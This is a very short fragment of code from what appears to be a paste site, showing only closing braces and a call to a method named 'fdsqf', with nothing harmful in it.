- {
- this.fdsqf();
- }
- }
- }
Add Comment
Please, Sign In to add comment